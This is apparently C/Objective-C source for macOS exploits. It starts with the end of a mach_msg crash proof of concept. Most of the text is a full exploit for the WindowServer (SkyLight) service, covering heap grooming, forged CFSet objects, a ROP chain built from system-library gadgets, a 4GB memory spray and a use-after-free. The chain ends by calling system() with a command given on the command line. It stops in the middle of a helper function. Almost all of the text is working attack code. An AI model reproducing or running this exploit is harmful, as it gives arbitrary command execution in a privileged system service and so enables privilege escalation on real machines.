msg->len_auth1 = ((uint64_t)msg->mem2.size << 32) | (msg->mem1.size >> 2);
msg->len_auth2 = ((uint64_t)msg->mem4.size << 32) | (msg->mem3.size >> 2);
mach_msg((mach_msg_header_t*)msg, MACH_SEND_MSG|(trigger_bug?0:MACH_RCV_MSG), msg->Head.msgh_size, 0x100, msg->Head.msgh_local_port, 0, 0);
int32_t errCode = *(int32_t*)(((char*)msg) + 0x20);
if(errCode == -21){
has_reach_limit = 1;
}
mig_dealloc_reply_port(msg->Head.msgh_local_port);
struct RECV_Msg *recv_msg = (void*)msg;
uint32_t return_port = recv_msg->port.name;
free(msg);
return return_port;
}
int main(int argc, const char * argv[]) {
printf("PoC started running...\n");
uint32_t aaa[1000];
for(int i=0; i<=1000; i++){
if(has_reach_limit){
trigger_bug = 1;
call_routine_1();
break;
}
aaa[i] = call_routine_1();
}
printf("Finished\n");
printf("Check crash file beneath /Library/Logs/DiagnosticReports/\n");
return 0;
}
#import <Cocoa/Cocoa.h>
#import <dlfcn.h>
#import <mach-o/dyld.h>
#import <mach-o/getsect.h>
#import <mach/mach_vm.h>
#import <pthread.h>
#import "offsets.h"
//utils
#define ENFORCE(a, label) \
do { \
if (__builtin_expect(!(a), 0)) \
{ \
timed_log("[!] %s is false (l.%d)\n", #a, __LINE__); \
goto label; \
} \
} while (0)
// from https://stackoverflow.com/questions/4415524/common-array-length-macro-for-c
#define COUNT_OF(x) ((sizeof(x)/sizeof(0[x])) / ((size_t)(!(sizeof(x) % sizeof(0[x])))))
#define BYTE(buff, offset) (*(uint8_t *)&((uint8_t *)buff)[offset])
#define DWORD(buff, offset) (*(uint32_t *)&((uint8_t *)buff)[offset])
#define QWORD(buff, offset) (*(uint64_t *)&((uint8_t *)buff)[offset])
// constants used by the exploit
#define CFSTRING_SPRAY_SIZE (400*1000*1000)
#define CFSTRING_SPRAY_COUNT ((CFSTRING_SPRAY_SIZE)/(3*0x8+sizeof(str_array)))
#define CFSET_SPRAY_SIZE (300*1000*1000)
// pointers (80*8) + internal size (0x40)
#define CFSET_SPRAY_COUNT ((CFSET_SPRAY_SIZE)/(80*8+0x40))
#define VULN_IDX (-0xaaaaab)
// 4GB should be enough and it's the maximum we can spray in one OOL
#define ROP_SPRAY_SIZE (4*0x400ul*0x400ul*0x400ul - 0x1000)
#define SPRAYED_BUFFER_ADDRESS 0x200006000
#define NB_CORE_SWITCH 50
#define NB_HOLES_PER_SWITCH 1000
#define NB_REUSE 200
// private functions (both private and public symbols)
static int (* SLSNewConnection)(int, int *);
static int (* SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);
static mach_port_t (* CGSGetConnectionPortById)(uint32_t);
static int (* SLSReleaseConnection)(int);
static mach_port_t (* SLSServerPort)(void);
// push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
#define SAVE_RBP_SET_RAX_GADGET ((uint8_t[]){0x55, 0x48, 0x89, 0xe5, 0x48, 0x8b, 0x47, 0x08, 0x31, 0xf6, 0xba, 0x18, 0x01, 0x00, 0x00, 0xff, 0x10})
// mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RSI_GADGET ((uint8_t[]){0x48, 0x8b, 0x40, 0x08, 0x48, 0x8b, 0x30, 0xff, 0x16})
// mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RDI_GADGET ((uint8_t[]){0x48, 0x8b, 0x7e, 0x30, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x8b, 0x30, 0xff, 0x16})
// mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
#define POP_RBP_JMP_GADGET ((uint8_t[]){0x48, 0x8b, 0x46, 0x10, 0x48, 0x8b, 0x70, 0x20, 0x48, 0x8b, 0x46, 0xf8, 0x48, 0x8b, 0x00, 0x5d, 0xff, 0xe0})
static int resolve_symbols();
static int build_rop_spray(void **rop_spray, char *command_line);
static int massage_heap(int connection_id);
static int register_application(int connection_id);
static int setup_hooks(int connection_id);
static int trigger_the_bug(int connection_id);
static int reuse_allocation(int connection_id);
static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size);
static void timed_log(char* format, ...);
static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate);
static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number);
static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id);
int main(int argc, char **argv)
{
int connection_id = -1;
void *rop_spray = NULL;
bool free_application = false;
ENFORCE(argc == 2, fail);
ENFORCE(strlen(argv[1]) < 0x1000 - 0x600, fail);
timed_log("[+] Resolving symbols...\n");
ENFORCE(resolve_symbols() == 0, fail);
timed_log("[+] Building our ROP chain...\n");
ENFORCE(build_rop_spray(&rop_spray, argv[1]) == 0, fail);
timed_log("[+] Creating a fresh connection...\n");
ENFORCE(SLSNewConnection(0, &connection_id) == 0, fail);
timed_log("[+] Setup 'hooks'...\n");
ENFORCE(setup_hooks(connection_id) == 0, fail);
timed_log("[+] Making holes (des p'tits trous, des p'tits trous, toujours des p'tit trous : https://www.youtube.com/watch?v=HsX4M-by5OY)...\n");
ENFORCE(massage_heap(connection_id) == 0, fail);
// no timed_log, we want to be fast :)
ENFORCE(register_application(connection_id) == 0, fail);
free_application = true;
timed_log("[+] Application registered...\n");
timed_log("[+] Triggering the bug\n");
ENFORCE(trigger_the_bug(connection_id) == 0, fail);
timed_log("[+] Let's free and reuse the application...\n");
// this will whack the application
free_application = false;
ENFORCE(reuse_allocation(connection_id) == 0, fail);
timed_log("[+] Trigger the UAF...\n");
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", rop_spray, ROP_SPRAY_SIZE, true) == KERN_SUCCESS, fail);
// the kernel freed the pages for us :)
rop_spray = NULL;
// a last synchronised request to make sure our command has been executed...
ENFORCE(SLPSRegisterForKeyOnConnection(connection_id, &(ProcessSerialNumber){0, 0}, 8, 1) == -50, fail);
// don't leave any connections behind us...
ENFORCE(SLSReleaseConnection(connection_id) == 0, fail);
connection_id = -1;
timed_log("[+] OK\n");
return 0;
// fail is the label of choice when coding Apple exploit :) (cf. CVE-2014-1266)
fail:
if (free_application)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
if (connection_id != -1)
SLSReleaseConnection(connection_id);
if (rop_spray != NULL)
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)rop_spray, ROP_SPRAY_SIZE);
return 1;
}
static int resolve_symbols()
{
SLSNewConnection = dlsym(RTLD_DEFAULT, "SLSNewConnection");
ENFORCE(SLSNewConnection != NULL, fail);
SLPSRegisterForKeyOnConnection = dlsym(RTLD_DEFAULT, "SLPSRegisterForKeyOnConnection");
ENFORCE(SLPSRegisterForKeyOnConnection != NULL, fail);
SLSReleaseConnection = dlsym(RTLD_DEFAULT, "SLSReleaseConnection");
ENFORCE(SLSReleaseConnection != NULL, fail);
SLSServerPort = dlsym(RTLD_DEFAULT, "SLSServerPort");
ENFORCE(SLSServerPort != NULL, fail);
// ugly but we could find its address by parsing private symbols, we just don't want to waste our time coding it...
ENFORCE(((uintptr_t)SLPSRegisterForKeyOnConnection & 0xFFF) == (SLPSRegisterForKeyOnConnection_OFFSET & 0xFFF), fail);
CGSGetConnectionPortById = (void *)((uint8_t*)SLPSRegisterForKeyOnConnection - SLPSRegisterForKeyOnConnection_OFFSET + CGSGetConnectionPortById_OFFSET);
// paranoid checks, check if function starts with push rbp / mov rbp, rsp
ENFORCE(memcmp(CGSGetConnectionPortById, "\x55\x48\x89\xe5", 4) == 0, fail);
return 0;
fail:
return -1;
}
// the trick is here to map multiple times the same page to make a HUGE alloc that doesn't use a lot of physical memory
static int build_rop_spray(void **rop_spray, char *command_line)
{
void *handle_libswiftCore = NULL;
void* large_region = NULL;
*rop_spray = NULL;
// first we reserve a large region
ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&large_region, ROP_SPRAY_SIZE, VM_FLAGS_ANYWHERE) == KERN_SUCCESS, fail);
// then we allocate the first page
void *rop_chain = large_region;
ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&rop_chain, 0x1000, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE) == KERN_SUCCESS, fail);
// now we can construct our rop chain
void *release_selector = NSSelectorFromString(@"release");
ENFORCE(release_selector != NULL, fail);
// + 0x530 because of our forged CFSet and its 1st hash table entry (=0x200002537)
BYTE(rop_chain, 0x530 + 0x20) = 0; // flags
DWORD(rop_chain, 0x530 + 0x18) = 0; // mask
QWORD(rop_chain, 0x530 + 0x10) = SPRAYED_BUFFER_ADDRESS; // cache address
QWORD(rop_chain, 0) = (uint64_t)release_selector; // selector
// and now the """fun""" part...
handle_libswiftCore = dlopen("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", RTLD_GLOBAL | RTLD_NOW);
ENFORCE(handle_libswiftCore != NULL, fail);
void *libJPEG_text_addr;
size_t libJPEG_text_size;
ENFORCE(find_dylib_text_section("/System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib", &libJPEG_text_addr, &libJPEG_text_size) == 0, fail);
void *libswiftCore_text_addr;
size_t libswiftCore_text_size;
ENFORCE(find_dylib_text_section("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", &libswiftCore_text_addr, &libswiftCore_text_size) == 0, fail);
uintptr_t system_address = (uintptr_t)dlsym(RTLD_DEFAULT, "system");
ENFORCE(system_address != 0, fail);
// check our gadgets
uintptr_t save_rbp_set_rax = (uintptr_t)memmem(libJPEG_text_addr, libJPEG_text_size, SAVE_RBP_SET_RAX_GADGET, sizeof(SAVE_RBP_SET_RAX_GADGET));
ENFORCE(save_rbp_set_rax != 0, fail);
uintptr_t set_rsi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RSI_GADGET, sizeof(SET_RSI_GADGET));
ENFORCE(set_rsi != 0, fail);
uintptr_t set_rdi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RDI_GADGET, sizeof(SET_RDI_GADGET));
ENFORCE(set_rdi != 0, fail);
uintptr_t pop_rbp_jmp = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, POP_RBP_JMP_GADGET, sizeof(POP_RBP_JMP_GADGET));
ENFORCE(pop_rbp_jmp != 0, fail);
ENFORCE(dlclose(handle_libswiftCore) == 0, fail);
handle_libswiftCore = NULL;
timed_log("[i] Pivot address: 0x%lX\n", save_rbp_set_rax);
QWORD(rop_chain, 8) = save_rbp_set_rax; // pivot
// SAVE_RBP_SET_RAX: push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
// + 0x137 because of our forged CFSet and its 2nd hash table entry
QWORD(rop_chain, 0x137) = set_rsi;
// rax=0x200002137
// SET_RSI: mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
QWORD(rop_chain, 0x137+8) = SPRAYED_BUFFER_ADDRESS+0x240;
// rax=SPRAYED_BUFFER_ADDRESS+0x240
QWORD(rop_chain, 0x240) = SPRAYED_BUFFER_ADDRESS+0x248;
// rsi=SPRAYED_BUFFER_ADDRESS+0x248
QWORD(rop_chain, 0x248) = set_rdi;
// SET_RDI: mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
QWORD(rop_chain, 0x248+0x30) = SPRAYED_BUFFER_ADDRESS+0x600;
// rdi=SPRAYED_BUFFER_ADDRESS+0x500
QWORD(rop_chain, 0x248+0x38) = SPRAYED_BUFFER_ADDRESS+0x248+0x38+8;
// rax=SPRAYED_BUFFER_ADDRESS+0x288
QWORD(rop_chain, 0x288) = SPRAYED_BUFFER_ADDRESS+0x288+8;
// rsi=SPRAYED_BUFFER_ADDRESS+0x290
QWORD(rop_chain, 0x290) = pop_rbp_jmp;
for (uint32_t i = 0; i < 4; i++)
{
// POP_RBP_JMP: mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
QWORD(rop_chain, i*0x48+0x290+0x10) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x290+0x10+8;
// rax=SPRAYED_BUFFER_ADDRESS+0x2A8
QWORD(rop_chain, i*0x48+0x2A8+0x20) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
// rsi=SPRAYED_BUFFER_ADDRESS+0x2D8
QWORD(rop_chain, i*0x48+0x2D8-8) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
// rax=SPRAYED_BUFFER_ADDRESS+0x2D8
QWORD(rop_chain, i*0x48+0x2D8) = i == 3 ? system_address : pop_rbp_jmp;
// rax=SPRAYED_BUFFER_ADDRESS+0x2D80x600
}
strcpy((char *)&BYTE(rop_chain, 0x600), command_line);
QWORD(rop_chain, 0x1000-8) = 0xFFFFFFFF; // make sure that the server won't try to parse this...
// and duplicate it, we use two for loops to gain some time
for (uintptr_t i = 0x1000ul; i < 4*0x400*0x400; i += 0x1000ul)
{
mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
vm_prot_t protection = VM_PROT_READ;
kern_return_t kr;
kr = mach_vm_remap(
mach_task_self(),
&remapped_page_address,
0x1000,
0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
mach_task_self(),
(mach_vm_address_t)rop_chain,
0,
&protection,
&protection,
VM_INHERIT_NONE
);
ENFORCE(kr == KERN_SUCCESS, fail);
ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
}
for (uintptr_t i = 4*0x400*0x400; i < ROP_SPRAY_SIZE; i += 4*0x400*0x400)
{
mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
vm_prot_t protection = VM_PROT_READ;
kern_return_t kr;
kr = mach_vm_remap(
mach_task_self(),
&remapped_page_address,
4*0x400*0x400,
0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
mach_task_self(),
(mach_vm_address_t)rop_chain,
0,
&protection,
&protection,
VM_INHERIT_NONE
);
ENFORCE(kr == KERN_SUCCESS, fail);
ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
}
*rop_spray = large_region;
return 0;
fail:
if (handle_libswiftCore != NULL)
dlclose(handle_libswiftCore);
if (large_region != NULL)
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)large_region, ROP_SPRAY_SIZE);
return -1;
}
size_t malloc_size(void *);
static int massage_heap(int connection_id)
{
static UInt8 data_buffer[0x70];
memset(data_buffer, 'A', 0x70);
CFDataRef hole_data = NULL;
CFNumberRef place_holder_number = NULL;
CFDataRef serialized_hole_0x60_data = NULL;
CFDataRef serialized_hole_0x70_data = NULL;
CFDataRef serialized_number_place_holder = NULL;
bool free_tmp_application = false;
hole_data = CFDataCreate(NULL, data_buffer, 0x60 - 0x40 - 0x20);
ENFORCE(hole_data != NULL, fail);
serialized_hole_0x60_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(serialized_hole_0x60_data != NULL, fail);
CFRelease(hole_data);
hole_data = NULL;
hole_data = CFDataCreate(NULL, data_buffer, 0x70 - 0x40 - 0x20);
ENFORCE(hole_data != NULL, fail);
serialized_hole_0x70_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(serialized_hole_0x70_data != NULL, fail);
CFRelease(hole_data);
hole_data = NULL;
uint64_t v = 0x1337BAB;
place_holder_number = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
ENFORCE(place_holder_number != NULL, fail);
serialized_number_place_holder = CFPropertyListCreateData(NULL, place_holder_number, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(serialized_number_place_holder != NULL, fail);
CFRelease(place_holder_number);
place_holder_number = NULL;
// now free the data to make holes :)
uint8_t *placeholder_data_bytes = (uint8_t *)CFDataGetBytePtr(serialized_number_place_holder);
size_t placeholder_data_size = CFDataGetLength(serialized_number_place_holder);
for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x6660000;
// help changing core...
ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
free_tmp_application = true;
for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
{
char key[20];
snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);
CFDataRef data = j%2 == 0 ? serialized_hole_0x70_data : serialized_hole_0x60_data;
uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
size_t data_size = CFDataGetLength(data);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);
snprintf(key, sizeof(key), "MSSH_%4d_%4d", i, j);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, placeholder_data_bytes, placeholder_data_size, false) == KERN_SUCCESS, fail);
}
ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
free_tmp_application = false;
}
CFRelease(serialized_number_place_holder);
serialized_number_place_holder = NULL;
CFRelease(serialized_hole_0x60_data);
serialized_hole_0x60_data = NULL;
CFRelease(serialized_hole_0x70_data);
serialized_hole_0x70_data = NULL;
for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
{
for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
{
char key[20];
snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, NULL, 0, false) == KERN_SUCCESS, fail);
}
}
return 0;
fail:
if (hole_data != NULL)
CFRelease(hole_data);
if (serialized_hole_0x60_data != NULL)
CFRelease(serialized_hole_0x60_data);
if (serialized_hole_0x70_data != NULL)
CFRelease(serialized_hole_0x70_data);
if (place_holder_number != NULL)
CFRelease(place_holder_number);
if (serialized_number_place_holder != NULL)
CFRelease(serialized_number_place_holder);
if (free_tmp_application)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x6660000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
return -1;
}
static int register_application(int connection_id)
{
ProcessSerialNumber psn;
bool free_application = false;
char app_name[0x40];
// app_name must be > 0x20 to not use the tiny holes reserved for CFSet and it must be big enough to fill the rest of the space left by the application
memset(app_name, 'B', sizeof(app_name)-1);
app_name[COUNT_OF(app_name)-1] = 0;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), app_name, true, connection_id) == KERN_SUCCESS, fail);
free_application = true;
// use a psn in the middle-end of our spray
psn.lowLongOfPSN = 0x12340000;
ENFORCE(_CGSSetAuxConn(connection_id, &psn) == 0, fail);
return 0;
fail:
if (free_application)
{
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
return -1;
}
static int setup_hooks(int connection_id)
{
CFNumberRef set_array_values[35] = {NULL};
CFMutableArrayRef big_array = NULL;
CFDataRef data = NULL;
timed_log("[+] Forging our set...\n");
uint8_t set_hash_table[71] = {
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0
};
uint32_t set_size = 0;
uint64_t v = 0x400000001;
while (set_size < COUNT_OF(set_array_values))
{
CFNumberRef n;
n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
ENFORCE(n != NULL, fail);
uint32_t h = CFHash(n)%71;
if (set_hash_table[h] == 1)
{
set_array_values[set_size] = n;
set_hash_table[h] = 0;
set_size ++;
}
else
{
CFRelease(n);
}
v++;
ENFORCE(v < 0x400000001 + 0xFFFFF, fail);
}
big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
ENFORCE(big_array != NULL, fail);
timed_log("[+] Creating our big set array...\n");
for (uint32_t i = 0; i < CFSET_SPRAY_COUNT; i++)
{
CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
ENFORCE(tmp_array != NULL, fail);
CFArrayAppendValue(big_array, tmp_array);
CFRelease(tmp_array);
}
for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
{
CFRelease(set_array_values[i]);
set_array_values[i] = NULL;
}
timed_log("[+] Serializing it...\n");
data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(data != NULL, fail);
CFRelease(big_array);
big_array = NULL;
uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
size_t data_size = CFDataGetLength(data);
timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));
timed_log("[+] Patching it...\n");
uint32_t nb_arrays = 0;
uint32_t cursor = 0;
while (1)
{
uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xAF\x10\x23", 3);
if (position == NULL)
break;
position[0] = 0xCF; // Array to Set
nb_arrays ++;
ENFORCE(nb_arrays <= CFSET_SPRAY_COUNT, fail);
cursor = (uint32_t)(position-data_bytes) + 3;
}
ENFORCE(nb_arrays == CFSET_SPRAY_COUNT, fail);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", data_bytes, data_size, false) == KERN_SUCCESS, fail);
CFRelease(data);
data = NULL;
return 0;
fail:
for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
if (set_array_values[i] != NULL)
CFRelease(set_array_values[i]);
if (data != NULL)
CFRelease(data);
if (big_array != NULL)
CFRelease(big_array);
return -1;
}
static int trigger_the_bug(int connection_id)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
int32_t index = VULN_IDX;
int err;
while ((err = SLPSRegisterForKeyOnConnection(connection_id, &psn, index, 1)) != 0)
{
// ENFORCE((err == 1011) || (err == -600), fail);
ENFORCE(++index < VULN_IDX+((2*8*1024*1024)/0x18), fail); // = 2 small regions = 16 MiB
}
return 0;
fail:
return -1;
}
static int reuse_allocation(int connection_id)
{
CFNumberRef set_array_values[8] = {NULL};
CFMutableArrayRef big_array = NULL;
CFDataRef data = NULL;
bool free_tmp_application = false;
bool free_application = true;
timed_log("[+] Forging our set...\n");
uint8_t set_hash_table[13];
memset(set_hash_table, 1, sizeof(set_hash_table));
uint64_t v;
v = 0x2000025;
set_array_values[0] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002537 -> hash = 0
ENFORCE(CFHash(set_array_values[0])%COUNT_OF(set_hash_table) == 0, fail);
set_hash_table[0] = 0;
v = 0x2000021;
set_array_values[1] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002137; -> hash = 1
ENFORCE(CFHash(set_array_values[1])%COUNT_OF(set_hash_table) == 1, fail);
set_hash_table[1] = 0;
v = 0;
uint32_t set_size = 2;
while (set_size < COUNT_OF(set_array_values))
{
CFNumberRef n;
n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
ENFORCE(n != NULL, fail);
uint32_t h = CFHash(n)%COUNT_OF(set_hash_table);
if (set_hash_table[h] == 1)
{
set_array_values[set_size] = n;
set_hash_table[h] = 0;
set_size ++;
}
else
{
CFRelease(n);
}
v++;
ENFORCE(v < 0xFFFFF, fail);
}
big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
ENFORCE(big_array != NULL, fail);
timed_log("[+] Creating our big set array...\n");
for (uint32_t i = 0; i < NB_REUSE; i++)
{
CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
ENFORCE(tmp_array != NULL, fail);
CFArrayAppendValue(big_array, tmp_array);
CFRelease(tmp_array);
}
for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
{
CFRelease(set_array_values[i]);
set_array_values[i] = NULL;
}
timed_log("[+] Serializing it...\n");
data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
ENFORCE(data != NULL, fail);
CFRelease(big_array);
big_array = NULL;
uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
size_t data_size = CFDataGetLength(data);
timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));
timed_log("[+] Patching it...\n");
uint32_t nb_arrays = 0;
uint32_t cursor = 0;
while (1)
{
uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xA8\x02\x03", 3);
if (position == NULL)
break;
position[0] = 0xC8; // Array to Set
nb_arrays ++;
ENFORCE(nb_arrays <= NB_REUSE, fail);
cursor = (uint32_t)(position-data_bytes) + 3;
}
ENFORCE(nb_arrays == NB_REUSE, fail);
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
free_application = false;
for (uint32_t i = 0; i < 1000; i++)
{
char key[0x80];
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x56780000;
// help changing core...
ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
free_tmp_application = true;
// we use a long name to make sure it'll not be placed in our holes :)
snprintf(key, sizeof(key), "FAKE_OBJECT_WITH_A_VERY_LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOONG_NAME_%d", i);
ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);
ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
free_tmp_application = false;
usleep(10);
}
CFRelease(data);
data = NULL;
return 0;
fail:
if (free_application)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x12340000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
if (free_tmp_application)
{
ProcessSerialNumber psn;
psn.highLongOfPSN = 0;
psn.lowLongOfPSN = 0x56780000;
_CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
}
for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
if (set_array_values[i] != NULL)
CFRelease(set_array_values[i]);
if (data != NULL)
CFRelease(data);
if (big_array != NULL)
CFRelease(big_array);
return -1;
}
static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size)
{
uint32_t image_count = _dyld_image_count();
for (uint32_t i = 0; i < image_count; i++)
{
const char *current_dylib_name = _dyld_get_image_name(i);
ENFORCE(current_dylib_name != NULL, fail);
if (strcmp(current_dylib_name, dylib_name) != 0)
continue;
const struct mach_header_64 *dylib_header = (const struct mach_header_64 *)_dyld_get_image_header(i);
ENFORCE(dylib_header != NULL, fail);
ENFORCE(dylib_header->magic == MH_MAGIC_64, fail);
uint32_t max_size = dylib_header->sizeofcmds;
ENFORCE(max_size < 0x2000, fail);
struct load_command *load_command = (struct load_command *)(dylib_header+1);
struct load_command *next_command;
ENFORCE(dylib_header->ncmds < 0x100, fail);
for (uint32_t cmd_i = 0; cmd_i < dylib_header->ncmds; cmd_i++, load_command = next_command)
{
ENFORCE(load_command->cmdsize <= max_size, fail);
ENFORCE(load_command->cmdsize >= sizeof(struct load_command), fail);
next_command = (struct load_command *)((uintptr_t)load_command + load_command->cmdsize);
max_size -= load_command->cmdsize;
if (load_command->cmd != LC_SEGMENT_64)
continue;
ENFORCE(load_command->cmdsize >= sizeof(struct segment_command_64), fail);
struct segment_command_64 *segment_command_64 = (struct segment_command_64 *)load_command;
if (strcmp(segment_command_64->segname, "__TEXT") != 0)
continue;
struct section_64 *sections = (struct section_64 *)(segment_command_64 + 1);
ENFORCE(segment_command_64->nsects < 0x100, fail);
ENFORCE(load_command->cmdsize == sizeof(struct segment_command_64) + segment_command_64->nsects*sizeof(struct section_64), fail);
for (uint32_t sect_i = 0; sect_i < segment_command_64->nsects; sect_i++)
